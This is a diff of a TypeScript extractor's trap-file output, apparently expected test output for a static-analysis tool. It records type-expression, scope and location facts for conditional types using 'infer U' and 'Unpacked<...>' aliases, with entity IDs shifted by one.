+expr_containers(#22833,#22805) #22835=* -scopes(#22835,16) -scopenodes(#22832,#22835) -scopenesting(#22835,#22828) -#22836=@"local_type_name;{U};{#22835}" -local_type_names(#22836,"U",#22835) -#22837=* -typeexprs(#22837,6,#22832,1,"(infer U)[]") -#22838=@"loc,{#10000},74,15,74,25" -locations_default(#22838,#10000,74,15,74,25) -hasLocation(#22837,#22838) -enclosing_stmt(#22837,#22825) -expr_containers(#22837,#22805) -#22839=* -typeexprs(#22839,10,#22837,0,"(infer U)") -#22840=@"loc,{#10000},74,15,74,23" -locations_default(#22840,#10000,74,15,74,23) -hasLocation(#22839,#22840) -enclosing_stmt(#22839,#22825) -expr_containers(#22839,#22805) -#22841=* -typeexprs(#22841,29,#22839,0,"infer U") -#22842=@"loc,{#10000},74,16,74,22" -locations_default(#22842,#10000,74,16,74,22) -hasLocation(#22841,#22842) -enclosing_stmt(#22841,#22825) -expr_containers(#22841,#22805) -#22843=* -typeexprs(#22843,22,#22841,0,"U") -hasLocation(#22843,#21500) -enclosing_stmt(#22843,#22825) -expr_containers(#22843,#22805) +typeexprs(#22835,0,#22833,0,"T") +hasLocation(#22835,#21492) +enclosing_stmt(#22835,#22826) +expr_containers(#22835,#22805) +literals("T","T",#22835) +typebind(#22835,#22830) +#22836=* +scopes(#22836,16) +scopenodes(#22833,#22836) +scopenesting(#22836,#22829) +#22837=@"local_type_name;{U};{#22836}" +local_type_names(#22837,"U",#22836) +#22838=* +typeexprs(#22838,6,#22833,1,"(infer U)[]") +#22839=@"loc,{#10000},74,15,74,25" +locations_default(#22839,#10000,74,15,74,25) +hasLocation(#22838,#22839) +enclosing_stmt(#22838,#22826) +expr_containers(#22838,#22805) +#22840=* +typeexprs(#22840,10,#22838,0,"(infer U)") +#22841=@"loc,{#10000},74,15,74,23" +locations_default(#22841,#10000,74,15,74,23) +hasLocation(#22840,#22841) +enclosing_stmt(#22840,#22826) +expr_containers(#22840,#22805) +#22842=* +typeexprs(#22842,29,#22840,0,"infer U") +#22843=@"loc,{#10000},74,16,74,22" +locations_default(#22843,#10000,74,16,74,22) +hasLocation(#22842,#22843) +enclosing_stmt(#22842,#22826) +expr_containers(#22842,#22805) #22844=* -typeexprs(#22844,1,#22843,0,"U") +typeexprs(#22844,22,#22842,0,"U") hasLocation(#22844,#21500) -enclosing_stmt(#22844,#22825) +enclosing_stmt(#22844,#22826) expr_containers(#22844,#22805) -literals("U","U",#22844) -typedecl(#22844,#22836) #22845=* -typeexprs(#22845,0,#22832,2,"U") -hasLocation(#22845,#21510) -enclosing_stmt(#22845,#22825) +typeexprs(#22845,1,#22844,0,"U") +hasLocation(#22845,#21500) +enclosing_stmt(#22845,#22826) expr_containers(#22845,#22805) literals("U","U",#22845) -typebind(#22845,#22836) +typedecl(#22845,#22837) #22846=* -typeexprs(#22846,28,#22832,3,"T exten ... :\n T") -#22847=@"loc,{#10000},75,5,77,5" -locations_default(#22847,#10000,75,5,77,5) -hasLocation(#22846,#22847) -enclosing_stmt(#22846,#22825) +typeexprs(#22846,0,#22833,2,"U") +hasLocation(#22846,#21510) +enclosing_stmt(#22846,#22826) expr_containers(#22846,#22805) -#22848=* -typeexprs(#22848,0,#22846,0,"T") -hasLocation(#22848,#21514) -enclosing_stmt(#22848,#22825) -expr_containers(#22848,#22805) -literals("T","T",#22848) -typebind(#22848,#22829) +literals("U","U",#22846) +typebind(#22846,#22837) +#22847=* +typeexprs(#22847,28,#22833,3,"T exten ... :\n T") +#22848=@"loc,{#10000},75,5,77,5" +locations_default(#22848,#10000,75,5,77,5) +hasLocation(#22847,#22848) +enclosing_stmt(#22847,#22826) +expr_containers(#22847,#22805) #22849=* -scopes(#22849,16) -scopenodes(#22846,#22849) -scopenesting(#22849,#22828) -#22850=@"local_type_name;{U};{#22849}" -local_type_names(#22850,"U",#22849) -#22851=* -typeexprs(#22851,23,#22846,1,"(...arg ... infer U") -#22852=@"loc,{#10000},75,15,75,41" -locations_default(#22852,#10000,75,15,75,41) -hasLocation(#22851,#22852) -enclosing_stmt(#22851,#22825) -expr_containers(#22851,#22805) -#22853=* -exprs(#22853,9,#22851,0,"(...arg ... infer U") -hasLocation(#22853,#22852) -enclosing_stmt(#22853,#22825) -expr_containers(#22853,#22805) +typeexprs(#22849,0,#22847,0,"T") +hasLocation(#22849,#21514) +enclosing_stmt(#22849,#22826) +expr_containers(#22849,#22805) +literals("T","T",#22849) +typebind(#22849,#22830) +#22850=* +scopes(#22850,16) +scopenodes(#22847,#22850) +scopenesting(#22850,#22829) +#22851=@"local_type_name;{U};{#22850}" +local_type_names(#22851,"U",#22850) +#22852=* +typeexprs(#22852,23,#22847,1,"(...arg ... infer U") +#22853=@"loc,{#10000},75,15,75,41" +locations_default(#22853,#10000,75,15,75,41) +hasLocation(#22852,#22853) +enclosing_stmt(#22852,#22826) +expr_containers(#22852,#22805) #22854=* -scopes(#22854,1) -scopenodes(#22853,#22854) -scopenesting(#22854,#22849) -#22855=@"var;{args};{#22854}" -variables(#22855,"args",#22854) -#22856=* -exprs(#22856,78,#22853,0,"args") -hasLocation(#22856,#21522) -expr_containers(#22856,#22853) -literals("args","args",#22856) -decl(#22856,#22855) -#22857=@"var;{arguments};{#22854}" -variables(#22857,"arguments",#22854) -is_arguments_object(#22857) -#22858=* -typeexprs(#22858,29,#22853,-3,"infer U") -#22859=@"loc,{#10000},75,35,75,41" -locations_default(#22859,#10000,75,35,75,41) -hasLocation(#22858,#22859) -expr_containers(#22858,#22853) -#22860=* -typeexprs(#22860,22,#22858,0,"U") -hasLocation(#22860,#21538) -expr_containers(#22860,#22853) +exprs(#22854,9,#22852,0,"(...arg ... infer U") +hasLocation(#22854,#22853) +enclosing_stmt(#22854,#22826) +expr_containers(#22854,#22805) +#22855=* +scopes(#22855,1) +scopenodes(#22854,#22855) +scopenesting(#22855,#22850) +#22856=@"var;{args};{#22855}" +variables(#22856,"args",#22855) +#22857=* +exprs(#22857,78,#22854,0,"args") +hasLocation(#22857,#21522) +expr_containers(#22857,#22854) +literals("args","args",#22857) +decl(#22857,#22856) +#22858=@"var;{arguments};{#22855}" +variables(#22858,"arguments",#22855) +is_arguments_object(#22858) +#22859=* +typeexprs(#22859,29,#22854,-3,"infer U") +#22860=@"loc,{#10000},75,35,75,41" +locations_default(#22860,#10000,75,35,75,41) +hasLocation(#22859,#22860) +expr_containers(#22859,#22854) #22861=* -typeexprs(#22861,1,#22860,0,"U") +typeexprs(#22861,22,#22859,0,"U") hasLocation(#22861,#21538) -expr_containers(#22861,#22853) -literals("U","U",#22861) -typedecl(#22861,#22850) +expr_containers(#22861,#22854) #22862=* -typeexprs(#22862,6,#22853,-6,"any[]") -#22863=@"loc,{#10000},75,25,75,29" -locations_default(#22863,#10000,75,25,75,29) -hasLocation(#22862,#22863) -expr_containers(#22862,#22853) -#22864=* -typeexprs(#22864,2,#22862,0,"any") -hasLocation(#22864,#21526) -expr_containers(#22864,#22853) -literals("any","any",#22864) -has_rest_parameter(#22853) +typeexprs(#22862,1,#22861,0,"U") +hasLocation(#22862,#21538) +expr_containers(#22862,#22854) +literals("U","U",#22862) +typedecl(#22862,#22851) +#22863=* +typeexprs(#22863,6,#22854,-6,"any[]") +#22864=@"loc,{#10000},75,25,75,29" +locations_default(#22864,#10000,75,25,75,29) +hasLocation(#22863,#22864) +expr_containers(#22863,#22854) #22865=* -typeexprs(#22865,0,#22846,2,"U") -hasLocation(#22865,#21542) -enclosing_stmt(#22865,#22825) -expr_containers(#22865,#22805) -literals("U","U",#22865) -typebind(#22865,#22850) +typeexprs(#22865,2,#22863,0,"any") +hasLocation(#22865,#21526) +expr_containers(#22865,#22854) +literals("any","any",#22865) +has_rest_parameter(#22854) #22866=* -typeexprs(#22866,28,#22846,3,"T exten ... :\n T") -#22867=@"loc,{#10000},76,5,77,5" -locations_default(#22867,#10000,76,5,77,5) -hasLocation(#22866,#22867) -enclosing_stmt(#22866,#22825) +typeexprs(#22866,0,#22847,2,"U") +hasLocation(#22866,#21542) +enclosing_stmt(#22866,#22826) expr_containers(#22866,#22805) -#22868=* -typeexprs(#22868,0,#22866,0,"T") -hasLocation(#22868,#21546) -enclosing_stmt(#22868,#22825) -expr_containers(#22868,#22805) -literals("T","T",#22868) -typebind(#22868,#22829) +literals("U","U",#22866) +typebind(#22866,#22851) +#22867=* +typeexprs(#22867,28,#22847,3,"T exten ... :\n T") +#22868=@"loc,{#10000},76,5,77,5" +locations_default(#22868,#10000,76,5,77,5) +hasLocation(#22867,#22868) +enclosing_stmt(#22867,#22826) +expr_containers(#22867,#22805) #22869=* -scopes(#22869,16) -scopenodes(#22866,#22869) -scopenesting(#22869,#22828) -#22870=@"local_type_name;{U};{#22869}" -local_type_names(#22870,"U",#22869) -#22871=* -typeexprs(#22871,14,#22866,1,"Promise") -#22872=@"loc,{#10000},76,15,76,30" -locations_default(#22872,#10000,76,15,76,30) -hasLocation(#22871,#22872) -enclosing_stmt(#22871,#22825) -expr_containers(#22871,#22805) -#22873=* -typeexprs(#22873,0,#22871,-1,"Promise") -hasLocation(#22873,#21550) -enclosing_stmt(#22873,#22825) -expr_containers(#22873,#22805) -literals("Promise","Promise",#22873) +typeexprs(#22869,0,#22867,0,"T") +hasLocation(#22869,#21546) +enclosing_stmt(#22869,#22826) +expr_containers(#22869,#22805) +literals("T","T",#22869) +typebind(#22869,#22830) +#22870=* +scopes(#22870,16) +scopenodes(#22867,#22870) +scopenesting(#22870,#22829) +#22871=@"local_type_name;{U};{#22870}" +local_type_names(#22871,"U",#22870) +#22872=* +typeexprs(#22872,14,#22867,1,"Promise") +#22873=@"loc,{#10000},76,15,76,30" +locations_default(#22873,#10000,76,15,76,30) +hasLocation(#22872,#22873) +enclosing_stmt(#22872,#22826) +expr_containers(#22872,#22805) #22874=* -typeexprs(#22874,29,#22871,0,"infer U") -#22875=@"loc,{#10000},76,23,76,29" -locations_default(#22875,#10000,76,23,76,29) -hasLocation(#22874,#22875) -enclosing_stmt(#22874,#22825) +typeexprs(#22874,0,#22872,-1,"Promise") +hasLocation(#22874,#21550) +enclosing_stmt(#22874,#22826) expr_containers(#22874,#22805) -#22876=* -typeexprs(#22876,22,#22874,0,"U") -hasLocation(#22876,#21556) -enclosing_stmt(#22876,#22825) -expr_containers(#22876,#22805) +literals("Promise","Promise",#22874) +#22875=* +typeexprs(#22875,29,#22872,0,"infer U") +#22876=@"loc,{#10000},76,23,76,29" +locations_default(#22876,#10000,76,23,76,29) +hasLocation(#22875,#22876) +enclosing_stmt(#22875,#22826) +expr_containers(#22875,#22805) #22877=* -typeexprs(#22877,1,#22876,0,"U") +typeexprs(#22877,22,#22875,0,"U") hasLocation(#22877,#21556) -enclosing_stmt(#22877,#22825) +enclosing_stmt(#22877,#22826) expr_containers(#22877,#22805) -literals("U","U",#22877) -typedecl(#22877,#22870) #22878=* -typeexprs(#22878,0,#22866,2,"U") -hasLocation(#22878,#21562) -enclosing_stmt(#22878,#22825) +typeexprs(#22878,1,#22877,0,"U") +hasLocation(#22878,#21556) +enclosing_stmt(#22878,#22826) expr_containers(#22878,#22805) literals("U","U",#22878) -typebind(#22878,#22870) +typedecl(#22878,#22871) #22879=* -typeexprs(#22879,0,#22866,3,"T") -hasLocation(#22879,#21566) -enclosing_stmt(#22879,#22825) +typeexprs(#22879,0,#22867,2,"U") +hasLocation(#22879,#21562) +enclosing_stmt(#22879,#22826) expr_containers(#22879,#22805) -literals("T","T",#22879) -typebind(#22879,#22829) +literals("U","U",#22879) +typebind(#22879,#22871) #22880=* -stmts(#22880,35,#22805,1,"type T0 ... tring>;") -#22881=@"loc,{#10000},79,3,79,29" -locations_default(#22881,#10000,79,3,79,29) -hasLocation(#22880,#22881) -stmt_containers(#22880,#22805) -#22882=* -typeexprs(#22882,1,#22880,0,"T0") -hasLocation(#22882,#21572) -enclosing_stmt(#22882,#22880) -expr_containers(#22882,#22805) -literals("T0","T0",#22882) -typedecl(#22882,#22810) +typeexprs(#22880,0,#22867,3,"T") +hasLocation(#22880,#21566) +enclosing_stmt(#22880,#22826) +expr_containers(#22880,#22805) +literals("T","T",#22880) +typebind(#22880,#22830) +#22881=* +stmts(#22881,35,#22805,1,"type T0 ... tring>;") +#22882=@"loc,{#10000},79,3,79,29" +locations_default(#22882,#10000,79,3,79,29) +hasLocation(#22881,#22882) +stmt_containers(#22881,#22805) #22883=* -typeexprs(#22883,14,#22880,1,"Unpacked") -#22884=@"loc,{#10000},79,13,79,28" -locations_default(#22884,#10000,79,13,79,28) -hasLocation(#22883,#22884) -enclosing_stmt(#22883,#22880) +typeexprs(#22883,1,#22881,0,"T0") +hasLocation(#22883,#21572) +enclosing_stmt(#22883,#22881) expr_containers(#22883,#22805) -#22885=* -typeexprs(#22885,0,#22883,-1,"Unpacked") -hasLocation(#22885,#21576) -enclosing_stmt(#22885,#22880) -expr_containers(#22885,#22805) -literals("Unpacked","Unpacked",#22885) -typebind(#22885,#22809) +literals("T0","T0",#22883) +typedecl(#22883,#22811) +#22884=* +typeexprs(#22884,14,#22881,1,"Unpacked") +#22885=@"loc,{#10000},79,13,79,28" +locations_default(#22885,#10000,79,13,79,28) +hasLocation(#22884,#22885) +enclosing_stmt(#22884,#22881) +expr_containers(#22884,#22805) #22886=* -typeexprs(#22886,2,#22883,0,"string") -hasLocation(#22886,#21580) -enclosing_stmt(#22886,#22880) +typeexprs(#22886,0,#22884,-1,"Unpacked") +hasLocation(#22886,#21576) +enclosing_stmt(#22886,#22881) expr_containers(#22886,#22805) -literals("string","string",#22886) +literals("Unpacked","Unpacked",#22886) +typebind(#22886,#22810) #22887=* -stmts(#22887,35,#22805,2,"type T1 ... ing[]>;") -#22888=@"loc,{#10000},80,3,80,31" -locations_default(#22888,#10000,80,3,80,31) -hasLocation(#22887,#22888) -stmt_containers(#22887,#22805) -#22889=* -typeexprs(#22889,1,#22887,0,"T1") -hasLocation(#22889,#21588) -enclosing_stmt(#22889,#22887) -expr_containers(#22889,#22805) -literals("T1","T1",#22889) -typedecl(#22889,#22811) +typeexprs(#22887,2,#22884,0,"string") +hasLocation(#22887,#21580) +enclosing_stmt(#22887,#22881) +expr_containers(#22887,#22805) +literals("string","string",#22887) +#22888=* +stmts(#22888,35,#22805,2,"type T1 ... ing[]>;") +#22889=@"loc,{#10000},80,3,80,31" +locations_default(#22889,#10000,80,3,80,31) +hasLocation(#22888,#22889) +stmt_containers(#22888,#22805) #22890=* -typeexprs(#22890,14,#22887,1,"Unpacked") -#22891=@"loc,{#10000},80,13,80,30" -locations_default(#22891,#10000,80,13,80,30) -hasLocation(#22890,#22891) -enclosing_stmt(#22890,#22887) +typeexprs(#22890,1,#22888,0,"T1") +hasLocation(#22890,#21588) +enclosing_stmt(#22890,#22888) expr_containers(#22890,#22805) -#22892=* -typeexprs(#22892,0,#22890,-1,"Unpacked") -hasLocation(#22892,#21592) -enclosing_stmt(#22892,#22887) -expr_containers(#22892,#22805) -literals("Unpacked","Unpacked",#22892) -typebind(#22892,#22809) +literals("T1","T1",#22890) +typedecl(#22890,#22812) +#22891=* +typeexprs(#22891,14,#22888,1,"Unpacked") +#22892=@"loc,{#10000},80,13,80,30" +locations_default(#22892,#10000,80,13,80,30) +hasLocation(#22891,#22892) +enclosing_stmt(#22891,#22888) +expr_containers(#22891,#22805) #22893=* -typeexprs(#22893,6,#22890,0,"string[]") -#22894=@"loc,{#10000},80,22,80,29" -locations_default(#22894,#10000,80,22,80,29) -hasLocation(#22893,#22894) -enclosing_stmt(#22893,#22887) +typeexprs(#22893,0,#22891,-1,"Unpacked") +hasLocation(#22893,#21592) +enclosing_stmt(#22893,#22888) expr_containers(#22893,#22805) -#22895=* -typeexprs(#22895,2,#22893,0,"string") -hasLocation(#22895,#21596) -enclosing_stmt(#22895,#22887) -expr_containers(#22895,#22805) -literals("string","string",#22895) +literals("Unpacked","Unpacked",#22893) +typebind(#22893,#22810) +#22894=* +typeexprs(#22894,6,#22891,0,"string[]") +#22895=@"loc,{#10000},80,22,80,29" +locations_default(#22895,#10000,80,22,80,29) +hasLocation(#22894,#22895) +enclosing_stmt(#22894,#22888) +expr_containers(#22894,#22805) #22896=* -stmts(#22896,35,#22805,3,"type T2 ... tring>;") -#22897=@"loc,{#10000},81,3,81,35" -locations_default(#22897,#10000,81,3,81,35) -hasLocation(#22896,#22897) -stmt_containers(#22896,#22805) -#22898=* -typeexprs(#22898,1,#22896,0,"T2") -hasLocation(#22898,#21608) -enclosing_stmt(#22898,#22896) -expr_containers(#22898,#22805) -literals("T2","T2",#22898) -typedecl(#22898,#22812) +typeexprs(#22896,2,#22894,0,"string") +hasLocation(#22896,#21596) +enclosing_stmt(#22896,#22888) +expr_containers(#22896,#22805) +literals("string","string",#22896) +#22897=* +stmts(#22897,35,#22805,3,"type T2 ... tring>;") +#22898=@"loc,{#10000},81,3,81,35" +locations_default(#22898,#10000,81,3,81,35) +hasLocation(#22897,#22898) +stmt_containers(#22897,#22805) #22899=* -typeexprs(#22899,14,#22896,1,"Unpacke ... string>") -#22900=@"loc,{#10000},81,13,81,34" -locations_default(#22900,#10000,81,13,81,34) -hasLocation(#22899,#22900) -enclosing_stmt(#22899,#22896) +typeexprs(#22899,1,#22897,0,"T2") +hasLocation(#22899,#21608) +enclosing_stmt(#22899,#22897) expr_containers(#22899,#22805) -#22901=* -typeexprs(#22901,0,#22899,-1,"Unpacked") -hasLocation(#22901,#21612) -enclosing_stmt(#22901,#22896) -expr_containers(#22901,#22805) -literals("Unpacked","Unpacked",#22901) -typebind(#22901,#22809) +literals("T2","T2",#22899) +typedecl(#22899,#22813) +#22900=* +typeexprs(#22900,14,#22897,1,"Unpacke ... string>") +#22901=@"loc,{#10000},81,13,81,34" +locations_default(#22901,#10000,81,13,81,34) +hasLocation(#22900,#22901) +enclosing_stmt(#22900,#22897) +expr_containers(#22900,#22805) #22902=* -typeexprs(#22902,23,#22899,0,"() => string") -#22903=@"loc,{#10000},81,22,81,33" -locations_default(#22903,#10000,81,22,81,33) -hasLocation(#22902,#22903) -enclosing_stmt(#22902,#22896) +typeexprs(#22902,0,#22900,-1,"Unpacked") +hasLocation(#22902,#21612) +enclosing_stmt(#22902,#22897) expr_containers(#22902,#22805) -#22904=* -exprs(#22904,9,#22902,0,"() => string") -hasLocation(#22904,#22903) -enclosing_stmt(#22904,#22896) -expr_containers(#22904,#22805) +literals("Unpacked","Unpacked",#22902) +typebind(#22902,#22810) +#22903=* +typeexprs(#22903,23,#22900,0,"() => string") +#22904=@"loc,{#10000},81,22,81,33" +locations_default(#22904,#10000,81,22,81,33) +hasLocation(#22903,#22904) +enclosing_stmt(#22903,#22897) +expr_containers(#22903,#22805) #22905=* -scopes(#22905,1) -scopenodes(#22904,#22905) -scopenesting(#22905,#22808) -#22906=@"var;{arguments};{#22905}" -variables(#22906,"arguments",#22905) -is_arguments_object(#22906) -#22907=* -typeexprs(#22907,2,#22904,-3,"string") -hasLocation(#22907,#21622) -expr_containers(#22907,#22904) -literals("string","string",#22907) +exprs(#22905,9,#22903,0,"() => string") +hasLocation(#22905,#22904) +enclosing_stmt(#22905,#22897) +expr_containers(#22905,#22805) +#22906=* +scopes(#22906,1) +scopenodes(#22905,#22906) +scopenesting(#22906,#22808) +#22907=@"var;{arguments};{#22906}" +variables(#22907,"arguments",#22906) +is_arguments_object(#22907) #22908=* -stmts(#22908,35,#22805,4,"type T3 ... ring>>;") -#22909=@"loc,{#10000},82,3,82,38" -locations_default(#22909,#10000,82,3,82,38) -hasLocation(#22908,#22909) -stmt_containers(#22908,#22805) -#22910=* -typeexprs(#22910,1,#22908,0,"T3") -hasLocation(#22910,#21630) -enclosing_stmt(#22910,#22908) -expr_containers(#22910,#22805) -literals("T3","T3",#22910) -typedecl(#22910,#22813) +typeexprs(#22908,2,#22905,-3,"string") +hasLocation(#22908,#21622) +expr_containers(#22908,#22905) +literals("string","string",#22908) +#22909=* +stmts(#22909,35,#22805,4,"type T3 ... ring>>;") +#22910=@"loc,{#10000},82,3,82,38" +locations_default(#22910,#10000,82,3,82,38) +hasLocation(#22909,#22910) +stmt_containers(#22909,#22805) #22911=* -typeexprs(#22911,14,#22908,1,"Unpacke ... tring>>") -#22912=@"loc,{#10000},82,13,82,37" -locations_default(#22912,#10000,82,13,82,37) -hasLocation(#22911,#22912) -enclosing_stmt(#22911,#22908) +typeexprs(#22911,1,#22909,0,"T3") +hasLocation(#22911,#21630) +enclosing_stmt(#22911,#22909) expr_containers(#22911,#22805) -#22913=* -typeexprs(#22913,0,#22911,-1,"Unpacked") -hasLocation(#22913,#21634) -enclosing_stmt(#22913,#22908) -expr_containers(#22913,#22805) -literals("Unpacked","Unpacked",#22913) -typebind(#22913,#22809) +literals("T3","T3",#22911) +typedecl(#22911,#22814) +#22912=* +typeexprs(#22912,14,#22909,1,"Unpacke ... tring>>") +#22913=@"loc,{#10000},82,13,82,37" +locations_default(#22913,#10000,82,13,82,37) +hasLocation(#22912,#22913) +enclosing_stmt(#22912,#22909) +expr_containers(#22912,#22805) #22914=* -typeexprs(#22914,14,#22911,0,"Promise") -#22915=@"loc,{#10000},82,22,82,36" -locations_default(#22915,#10000,82,22,82,36) -hasLocation(#22914,#22915) -enclosing_stmt(#22914,#22908) +typeexprs(#22914,0,#22912,-1,"Unpacked") +hasLocation(#22914,#21634) +enclosing_stmt(#22914,#22909) expr_containers(#22914,#22805) -#22916=* -typeexprs(#22916,0,#22914,-1,"Promise") -hasLocation(#22916,#21638) -enclosing_stmt(#22916,#22908) -expr_containers(#22916,#22805) -literals("Promise","Promise",#22916) +literals("Unpacked","Unpacked",#22914) +typebind(#22914,#22810) +#22915=* +typeexprs(#22915,14,#22912,0,"Promise") +#22916=@"loc,{#10000},82,22,82,36" +locations_default(#22916,#10000,82,22,82,36) +hasLocation(#22915,#22916) +enclosing_stmt(#22915,#22909) +expr_containers(#22915,#22805) #22917=* -typeexprs(#22917,2,#22914,0,"string") -hasLocation(#22917,#21642) -enclosing_stmt(#22917,#22908) +typeexprs(#22917,0,#22915,-1,"Promise") +hasLocation(#22917,#21638) +enclosing_stmt(#22917,#22909) expr_containers(#22917,#22805) -literals("string","string",#22917) +literals("Promise","Promise",#22917) #22918=* -stmts(#22918,35,#22805,5,"type T4 ... ng>[]>;") -#22919=@"loc,{#10000},83,3,83,40" -locations_default(#22919,#10000,83,3,83,40) -hasLocation(#22918,#22919) -stmt_containers(#22918,#22805) -#22920=* -typeexprs(#22920,1,#22918,0,"T4") -hasLocation(#22920,#21652) -enclosing_stmt(#22920,#22918) -expr_containers(#22920,#22805) -literals("T4","T4",#22920) -typedecl(#22920,#22814) +typeexprs(#22918,2,#22915,0,"string") +hasLocation(#22918,#21642) +enclosing_stmt(#22918,#22909) +expr_containers(#22918,#22805) +literals("string","string",#22918) +#22919=* +stmts(#22919,35,#22805,5,"type T4 ... ng>[]>;") +#22920=@"loc,{#10000},83,3,83,40" +locations_default(#22920,#10000,83,3,83,40) +hasLocation(#22919,#22920) +stmt_containers(#22919,#22805) #22921=* -typeexprs(#22921,14,#22918,1,"Unpacke ... ing>[]>") -#22922=@"loc,{#10000},83,13,83,39" -locations_default(#22922,#10000,83,13,83,39) -hasLocation(#22921,#22922) -enclosing_stmt(#22921,#22918) +typeexprs(#22921,1,#22919,0,"T4") +hasLocation(#22921,#21652) +enclosing_stmt(#22921,#22919) expr_containers(#22921,#22805) -#22923=* -typeexprs(#22923,0,#22921,-1,"Unpacked") -hasLocation(#22923,#21656) -enclosing_stmt(#22923,#22918) -expr_containers(#22923,#22805) -literals("Unpacked","Unpacked",#22923) -typebind(#22923,#22809) +literals("T4","T4",#22921) +typedecl(#22921,#22815) +#22922=* +typeexprs(#22922,14,#22919,1,"Unpacke ... ing>[]>") +#22923=@"loc,{#10000},83,13,83,39" +locations_default(#22923,#10000,83,13,83,39) +hasLocation(#22922,#22923) +enclosing_stmt(#22922,#22919) +expr_containers(#22922,#22805) #22924=* -typeexprs(#22924,6,#22921,0,"Promise[]") -#22925=@"loc,{#10000},83,22,83,38" -locations_default(#22925,#10000,83,22,83,38) -hasLocation(#22924,#22925) -enclosing_stmt(#22924,#22918) +typeexprs(#22924,0,#22922,-1,"Unpacked") +hasLocation(#22924,#21656) +enclosing_stmt(#22924,#22919) expr_containers(#22924,#22805) -#22926=* -typeexprs(#22926,14,#22924,0,"Promise") -#22927=@"loc,{#10000},83,22,83,36" -locations_default(#22927,#10000,83,22,83,36) -hasLocation(#22926,#22927) -enclosing_stmt(#22926,#22918) -expr_containers(#22926,#22805) -#22928=* -typeexprs(#22928,0,#22926,-1,"Promise") -hasLocation(#22928,#21660) -enclosing_stmt(#22928,#22918) -expr_containers(#22928,#22805) -literals("Promise","Promise",#22928) +literals("Unpacked","Unpacked",#22924) +typebind(#22924,#22810) +#22925=* +typeexprs(#22925,6,#22922,0,"Promise[]") +#22926=@"loc,{#10000},83,22,83,38" +locations_default(#22926,#10000,83,22,83,38) +hasLocation(#22925,#22926) +enclosing_stmt(#22925,#22919) +expr_containers(#22925,#22805) +#22927=* +typeexprs(#22927,14,#22925,0,"Promise") +#22928=@"loc,{#10000},83,22,83,36" +locations_default(#22928,#10000,83,22,83,36) +hasLocation(#22927,#22928) +enclosing_stmt(#22927,#22919) +expr_containers(#22927,#22805) #22929=* -typeexprs(#22929,2,#22926,0,"string") -hasLocation(#22929,#21664) -enclosing_stmt(#22929,#22918) +typeexprs(#22929,0,#22927,-1,"Promise") +hasLocation(#22929,#21660) +enclosing_stmt(#22929,#22919) expr_containers(#22929,#22805) -literals("string","string",#22929) +literals("Promise","Promise",#22929) #22930=* -stmts(#22930,35,#22805,6,"type T5 ... g>[]>>;") -#22931=@"loc,{#10000},84,3,84,50" -locations_default(#22931,#10000,84,3,84,50) -hasLocation(#22930,#22931) -stmt_containers(#22930,#22805) -#22932=* -typeexprs(#22932,1,#22930,0,"T5") -hasLocation(#22932,#21678) -enclosing_stmt(#22932,#22930) -expr_containers(#22932,#22805) -literals("T5","T5",#22932) -typedecl(#22932,#22815) +typeexprs(#22930,2,#22927,0,"string") +hasLocation(#22930,#21664) +enclosing_stmt(#22930,#22919) +expr_containers(#22930,#22805) +literals("string","string",#22930) +#22931=* +stmts(#22931,35,#22805,6,"type T5 ... g>[]>>;") +#22932=@"loc,{#10000},84,3,84,50" +locations_default(#22932,#10000,84,3,84,50) +hasLocation(#22931,#22932) +stmt_containers(#22931,#22805) #22933=* -typeexprs(#22933,14,#22930,1,"Unpacke ... ng>[]>>") -#22934=@"loc,{#10000},84,13,84,49" -locations_default(#22934,#10000,84,13,84,49) -hasLocation(#22933,#22934) -enclosing_stmt(#22933,#22930) +typeexprs(#22933,1,#22931,0,"T5") +hasLocation(#22933,#21678) +enclosing_stmt(#22933,#22931) expr_containers(#22933,#22805) -#22935=* -typeexprs(#22935,0,#22933,-1,"Unpacked") -hasLocation(#22935,#21682) -enclosing_stmt(#22935,#22930) -expr_containers(#22935,#22805) -literals("Unpacked","Unpacked",#22935) -typebind(#22935,#22809) +literals("T5","T5",#22933) +typedecl(#22933,#22816) +#22934=* +typeexprs(#22934,14,#22931,1,"Unpacke ... ng>[]>>") +#22935=@"loc,{#10000},84,13,84,49" +locations_default(#22935,#10000,84,13,84,49) +hasLocation(#22934,#22935) +enclosing_stmt(#22934,#22931) +expr_containers(#22934,#22805) #22936=* -typeexprs(#22936,14,#22933,0,"Unpacke ... ing>[]>") -#22937=@"loc,{#10000},84,22,84,48" -locations_default(#22937,#10000,84,22,84,48) -hasLocation(#22936,#22937) -enclosing_stmt(#22936,#22930) +typeexprs(#22936,0,#22934,-1,"Unpacked") +hasLocation(#22936,#21682) +enclosing_stmt(#22936,#22931) expr_containers(#22936,#22805) -#22938=* -typeexprs(#22938,0,#22936,-1,"Unpacked") -hasLocation(#22938,#21686) -enclosing_stmt(#22938,#22930) -expr_containers(#22938,#22805) -literals("Unpacked","Unpacked",#22938) -typebind(#22938,#22809) +literals("Unpacked","Unpacked",#22936) +typebind(#22936,#22810) +#22937=* +typeexprs(#22937,14,#22934,0,"Unpacke ... ing>[]>") +#22938=@"loc,{#10000},84,22,84,48" +locations_default(#22938,#10000,84,22,84,48) +hasLocation(#22937,#22938) +enclosing_stmt(#22937,#22931) +expr_containers(#22937,#22805) #22939=* -typeexprs(#22939,6,#22936,0,"Promise[]") -#22940=@"loc,{#10000},84,31,84,47" -locations_default(#22940,#10000,84,31,84,47) -hasLocation(#22939,#22940) -enclosing_stmt(#22939,#22930) +typeexprs(#22939,0,#22937,-1,"Unpacked") +hasLocation(#22939,#21686) +enclosing_stmt(#22939,#22931) expr_containers(#22939,#22805) -#22941=* -typeexprs(#22941,14,#22939,0,"Promise") -#22942=@"loc,{#10000},84,31,84,45" -locations_default(#22942,#10000,84,31,84,45) -hasLocation(#22941,#22942) -enclosing_stmt(#22941,#22930) -expr_containers(#22941,#22805) -#22943=* -typeexprs(#22943,0,#22941,-1,"Promise") -hasLocation(#22943,#21690) -enclosing_stmt(#22943,#22930) -expr_containers(#22943,#22805) -literals("Promise","Promise",#22943) +literals("Unpacked","Unpacked",#22939) +typebind(#22939,#22810) +#22940=* +typeexprs(#22940,6,#22937,0,"Promise[]") +#22941=@"loc,{#10000},84,31,84,47" +locations_default(#22941,#10000,84,31,84,47) +hasLocation(#22940,#22941) +enclosing_stmt(#22940,#22931) +expr_containers(#22940,#22805) +#22942=* +typeexprs(#22942,14,#22940,0,"Promise") +#22943=@"loc,{#10000},84,31,84,45" +locations_default(#22943,#10000,84,31,84,45) +hasLocation(#22942,#22943) +enclosing_stmt(#22942,#22931) +expr_containers(#22942,#22805) #22944=* -typeexprs(#22944,2,#22941,0,"string") -hasLocation(#22944,#21694) 